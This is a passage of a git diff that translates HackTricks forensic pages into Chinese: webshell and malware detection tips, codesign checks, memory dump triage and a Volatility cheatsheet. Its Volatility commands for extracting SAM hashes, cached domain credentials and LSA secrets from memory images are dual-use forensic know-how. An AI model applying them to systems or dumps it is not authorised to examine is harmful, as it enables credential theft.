best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) 尽力检测 **混淆**/**可疑代码** 以及使用 **PHP** 函数的文件,这些函数通常用于 **恶意软件**/webshells。 ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +在检查某些 **恶意软件样本** 时,您应该始终 **检查二进制文件的签名**,因为签名的 **开发者** 可能已经与 **恶意软件** **相关**。 ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## 检测技术 -## Detection Techniques +### 文件堆叠 -### File Stacking +如果你知道某个文件夹包含的**文件**的web服务器**最后更新于某个日期**。**检查**所有**文件**在**web服务器**中被创建和修改的**日期**,如果有任何日期是**可疑的**,检查该文件。 -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### 基线 -### Baselines +如果一个文件夹的文件**不应该被修改**,你可以计算该文件夹**原始文件**的**哈希**值,并与**当前**文件进行**比较**。任何被修改的文件都将是**可疑的**。 -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### 统计分析 -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +当信息保存在日志中时,你可以**检查统计数据,比如每个web服务器的文件被访问的次数,因为web shell可能是其中之一**。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md index 1c8be749a..1a94a1e8f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# 内存转储分析 {{#include ../../../banners/hacktricks-training.md}} -
+## 开始 -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +开始**搜索**pcap中的**恶意软件**。使用在[**恶意软件分析**](../malware-analysis.md)中提到的**工具**。 ## [Volatility](volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatility是主要的开源内存转储分析框架**。这个Python工具分析来自外部源或VMware虚拟机的转储,基于转储的操作系统配置文件识别数据,如进程和密码。它可以通过插件扩展,使其在取证调查中非常灵活。 -[**Find here a cheatsheet**](volatility-cheatsheet.md) +[**在这里找到备忘单**](volatility-cheatsheet.md) -## Mini dump crash report +## 小型转储崩溃报告 -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +当转储很小(只有几KB,也许几MB)时,它可能是小型转储崩溃报告,而不是内存转储。 ![](<../../../images/image (532).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +如果你安装了Visual Studio,你可以打开这个文件并绑定一些基本信息,如进程名称、架构、异常信息和正在执行的模块: ![](<../../../images/image (263).png>) -You can also load the exception and see the decompiled instructions +你还可以加载异常并查看反编译的指令 ![](<../../../images/image (142).png>) ![](<../../../images/image (610).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +无论如何,Visual Studio并不是执行深度分析的最佳工具。 -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +你应该使用**IDA**或**Radare**来**深入**检查它。 ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index f6a63c08f..b7aa7dc9c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -4,13 +4,8 @@ ​ -
- -​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} -If you need a tool that automates memory analysis with different scan levels and runs multiple Volatility3 plugins in parallel, you can use autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) +如果您需要一个可以自动化内存分析的工具,具有不同的扫描级别并可以并行运行多个Volatility3插件,您可以使用autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) ```bash # Full scan (runs all plugins) python3 autovol3.py -f MEMFILE -o OUT_DIR -s full @@ -22,66 +17,57 @@ python3 autovol3.py -f MEMFILE -o OUT_DIR -s minimal python3 autovol3.py -f MEMFILE -o OUT_DIR -s normal ``` - -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) - +如果你想要一些**快速而疯狂**的东西,可以并行启动多个Volatility插件,你可以使用:[https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory) ``` - -## Installation +## 安装 ### volatility3 - ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` - ### volatility2 {{#tabs}} {{#tab name="Method1"}} - ``` Download the executable from https://www.volatilityfoundation.org/26 ``` - {{#endtab}} -{{#tab name="Method 2"}} - +{{#tab name="方法 2"}} ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility python setup.py install ``` - {{#endtab}} {{#endtabs}} -## Volatility Commands +## Volatility 命令 -Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) +访问官方文档 [Volatility 命令参考](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) -### A note on “list” vs. “scan” plugins +### 关于“list”和“scan”插件的说明 -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. +Volatility 有两种主要的插件方法,有时在其名称中反映出来。“list” 插件会尝试通过 Windows 内核结构导航,以检索诸如进程(定位并遍历内存中的 `_EPROCESS` 结构的链表)、操作系统句柄(定位并列出句柄表,取消引用找到的任何指针等)等信息。它们的行为或多或少类似于 Windows API,如果请求列出进程的话。 -That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. +这使得“list”插件非常快速,但与 Windows API 一样容易受到恶意软件的操控。例如,如果恶意软件使用 DKOM 从 `_EPROCESS` 链表中取消链接一个进程,它将不会出现在任务管理器中,也不会出现在 pslist 中。 -“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations). +另一方面,“scan” 插件将采取类似于在内存中雕刻可能在取消引用为特定结构时有意义的内容的方法。例如,`psscan` 将读取内存并尝试从中创建 `_EPROCESS` 对象(它使用池标签扫描,搜索指示感兴趣结构存在的 4 字节字符串)。其优点是它可以挖掘已退出的进程,即使恶意软件篡改了 `_EPROCESS` 链表,插件仍然会找到在内存中存在的结构(因为它仍然需要存在以便进程运行)。缺点是“scan”插件比“list”插件稍慢,有时可能会产生误报(一个退出时间过长且其结构部分被其他操作覆盖的进程)。 -From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) +来自: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -## OS Profiles +## 操作系统配置文件 ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download** at: +如 readme 中所述,您需要将您想要支持的 **操作系统符号表** 放入 _volatility3/volatility/symbols_ 中。\ +各种操作系统的符号表包可在 **下载** 中获取: - [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) - [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -89,16 +75,13 @@ Symbol table packs for the various operating systems are available for **downloa ### Volatility2 -#### External Profile - -You can get the list of supported profiles doing: +#### 外部配置文件 +您可以通过以下方式获取支持的配置文件列表: ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` - -If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: - +如果您想使用**您下载的新配置文件**(例如 Linux 配置文件),您需要在某处创建以下文件夹结构:_plugins/overlays/linux_,并将包含配置文件的 zip 文件放入此文件夹中。然后,使用以下命令获取配置文件的编号: ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -110,28 +93,22 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` +您可以**从 [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) 下载 Linux 和 Mac 配置文件**。 -You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like: - +在前面的部分中,您可以看到配置文件名为 `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`,您可以使用它来执行类似的操作: ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` - -#### Discover Profile - +#### 发现配置文件 ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` +#### **imageinfo 和 kdbgscan 之间的区别** -#### **Differences between imageinfo and kdbgscan** - -[**From here**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it from . - -Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed) +[**从这里**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): 与仅提供配置文件建议的 imageinfo 相比,**kdbgscan** 旨在准确识别正确的配置文件和正确的 KDBG 地址(如果存在多个)。该插件扫描与 Volatility 配置文件相关的 KDBGHeader 签名,并应用合理性检查以减少误报。输出的详细程度和可以执行的合理性检查数量取决于 Volatility 是否能够找到 DTB,因此如果您已经知道正确的配置文件(或者如果您有来自 imageinfo 的配置文件建议),请确保使用它。 +始终查看 **kdbgscan 找到的进程数量**。有时 imageinfo 和 kdbgscan 可以找到 **多个** 合适的 **配置文件**,但只有 **有效的一个会有一些相关的进程**(这是因为提取进程需要正确的 KDBG 地址)。 ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -143,234 +120,189 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules) PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` - #### KDBG -The **kernel debugger block**, referred to as **KDBG** by Volatility, is crucial for forensic tasks performed by Volatility and various debuggers. Identified as `KdDebuggerDataBlock` and of the type `_KDDEBUGGER_DATA64`, it contains essential references like `PsActiveProcessHead`. This specific reference points to the head of the process list, enabling the listing of all processes, which is fundamental for thorough memory analysis. - -## OS Information +**内核调试器块**,在 Volatility 中称为 **KDBG**,对于 Volatility 和各种调试器执行的取证任务至关重要。它被识别为 `KdDebuggerDataBlock`,类型为 `_KDDEBUGGER_DATA64`,包含重要的引用,如 `PsActiveProcessHead`。这个特定的引用指向进程列表的头部,使得能够列出所有进程,这对于全面的内存分析是基础。 +## OS 信息 ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info ``` +插件 `banners.Banners` 可用于 **vol3 尝试在转储中查找 Linux 横幅**。 -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +## 哈希/密码 -## Hashes/Passwords - -Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). +提取 SAM 哈希、[域缓存凭据](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) 和 [lsa 秘密](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets)。 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM) ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry ./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ``` - {{#endtab}} {{#endtabs}} -## Memory Dump - -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +## 内存转储 +进程的内存转储将**提取当前进程状态的所有内容**。**procdump**模块将仅**提取****代码**。 ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` +## 进程 -​ +### 列出进程 -
- -​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Processes - -### List processes - -Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +尝试查找 **可疑** 进程(通过名称)或 **意外** 子 **进程**(例如 cmd.exe 作为 iexplorer.exe 的子进程)。\ +比较 pslist 的结果与 psscan 的结果,以识别隐藏进程可能会很有趣。 {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidden) python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS) python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware) ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware) volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list ``` - {{#endtab}} {{#endtabs}} -### Dump proc +### 转储进程 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -### Command line +### 命令行 -Anything suspicious was executed? +是否执行了任何可疑的操作? {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION ``` - {{#endtab}} {{#endtabs}} -Commands executed in `cmd.exe` are managed by **`conhost.exe`** (or `csrss.exe` on systems before Windows 7). This means that if **`cmd.exe`** is terminated by an attacker before a memory dump is obtained, it's still possible to recover the session's command history from the memory of **`conhost.exe`**. To do this, if unusual activity is detected within the console's modules, the memory of the associated **`conhost.exe`** process should be dumped. Then, by searching for **strings** within this dump, command lines used in the session can potentially be extracted. +在 `cmd.exe` 中执行的命令由 **`conhost.exe`**(或在 Windows 7 之前的系统上为 `csrss.exe`)管理。这意味着如果 **`cmd.exe`** 在获取内存转储之前被攻击者终止,仍然可以从 **`conhost.exe`** 的内存中恢复会话的命令历史记录。为此,如果在控制台的模块中检测到异常活动,则应转储相关 **`conhost.exe`** 进程的内存。然后,通过在此转储中搜索 **strings**,可以提取会话中使用的命令行。 -### Environment +### 环境 -Get the env variables of each running process. There could be some interesting values. +获取每个运行进程的环境变量。可能会有一些有趣的值。 {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` - {{#endtab}} {{#endtabs}} -### Token privileges +### 令牌权限 -Check for privileges tokens in unexpected services.\ -It could be interesting to list the processes using some privileged token. +检查意外服务中的权限令牌。\ +列出使用某些特权令牌的进程可能会很有趣。 {{#tabs}} {{#tab name="vol3"}} - ```bash #Get enabled privileges of some processes python3 vol.py -f file.dmp windows.privileges.Privs [--pid ] #Get all processes with interesting privileges python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled #Get all processes with interesting privileges volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#endtabs}} ### SIDs -Check each SSID owned by a process.\ -It could be interesting to list the processes using a privileges SID (and the processes using some service SID). +检查每个由进程拥有的SSID。\ +列出使用特权SID的进程(以及使用某些服务SID的进程)可能会很有趣。 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service ``` - {{#endtab}} {{#endtabs}} -### Handles +### 句柄 -Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) +了解一个 **进程拥有的句柄**(已打开)指向哪些其他文件、密钥、线程、进程... 是很有用的 {{#tabs}} {{#tab name="vol3"}} - ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` - {{#endtab}} {{#endtabs}} @@ -378,40 +310,33 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc ``` - {{#endtab}} {{#endtabs}} -### Strings per processes +### 每个进程的字符串 -Volatility allows us to check which process a string belongs to. +Volatility 允许我们检查一个字符串属于哪个进程。 {{#tabs}} {{#tab name="vol3"}} - ```bash strings file.dmp > /tmp/strings.txt ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -419,99 +344,78 @@ volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.t volatility -f /tmp/file.dmp --profile=Win81U1x64 memdump -p 3532 --dump-dir . strings 3532.dmp > strings_file ``` - {{#endtab}} {{#endtabs}} -It also allows to search for strings inside a process using the yarascan module: +它还允许使用 yarascan 模块在进程中搜索字符串: {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` - {{#endtab}} {{#endtabs}} ### UserAssist -**Windows** keeps track of programs you run using a feature in the registry called **UserAssist keys**. These keys record how many times each program is executed and when it was last run. +**Windows** 通过注册表中的一个功能 **UserAssist keys** 跟踪您运行的程序。这些键记录每个程序执行的次数以及最后一次运行的时间。 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` - {{#endtab}} {{#endtabs}} ​ -
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Services +## 服务 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp #Get name of the services and SID (slow) volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Network +## 网络 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.netscan.NetScan #For network info of linux use volatility2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only @@ -526,102 +430,84 @@ volatility --profile=SomeLinux -f file.dmp linux_arp #ARP table volatility --profile=SomeLinux -f file.dmp linux_list_raw #Processes using promiscuous raw sockets (comm between processes) volatility --profile=SomeLinux -f file.dmp linux_route_cache ``` - {{#endtab}} {{#endtabs}} -## Registry hive +## 注册表蜂巢 -### Print available hives +### 打印可用的蜂巢 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots ./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys ``` - {{#endtab}} {{#endtabs}} -### Get a value +### 获取一个值 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp # Get Run binaries registry value volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ``` - {{#endtab}} {{#endtabs}} -### Dump - +### 转储 ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist #Dump all hives volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` +## 文件系统 -## Filesystem - -### Mount +### 挂载 {{#tabs}} {{#tab name="vol3"}} - ```bash #See vol2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=SomeLinux -f file.dmp linux_mount volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible) ``` - {{#endtab}} {{#endtabs}} -### Scan/dump +### 扫描/转储 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -631,60 +517,50 @@ volatility --profile=SomeLinux -f file.dmp linux_enumerate_files volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file ``` - {{#endtab}} {{#endtabs}} -### Master File Table +### 主文件表 {{#tabs}} {{#tab name="vol3"}} - ```bash # I couldn't find any plugin to extract this information in volatility3 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` - {{#endtab}} {{#endtabs}} -The **NTFS file system** uses a critical component known as the _master file table_ (MFT). This table includes at least one entry for every file on a volume, covering the MFT itself too. Vital details about each file, such as **size, timestamps, permissions, and actual data**, are encapsulated within the MFT entries or in areas external to the MFT but referenced by these entries. More details can be found in the [official documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +**NTFS 文件系统**使用一个关键组件,称为_主文件表_(MFT)。该表为卷上的每个文件至少包含一个条目,也包括 MFT 本身。关于每个文件的重要细节,如**大小、时间戳、权限和实际数据**,都封装在 MFT 条目中或在 MFT 外部但由这些条目引用的区域中。更多细节可以在[官方文档](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table)中找到。 -### SSL Keys/Certs +### SSL 密钥/证书 {{#tabs}} {{#tab name="vol3"}} - ```bash #vol3 allows to search for certificates inside the registry ./vol.py -f file.dmp windows.registry.certificates.Certificates ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Malware +## 恶意软件 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.malfind.Malfind [--dump] #Find hidden and injected code, [dump each suspicious section] #Malfind will search for suspicious structures related to malware @@ -698,11 +574,9 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ./vol.py -f file.dmp 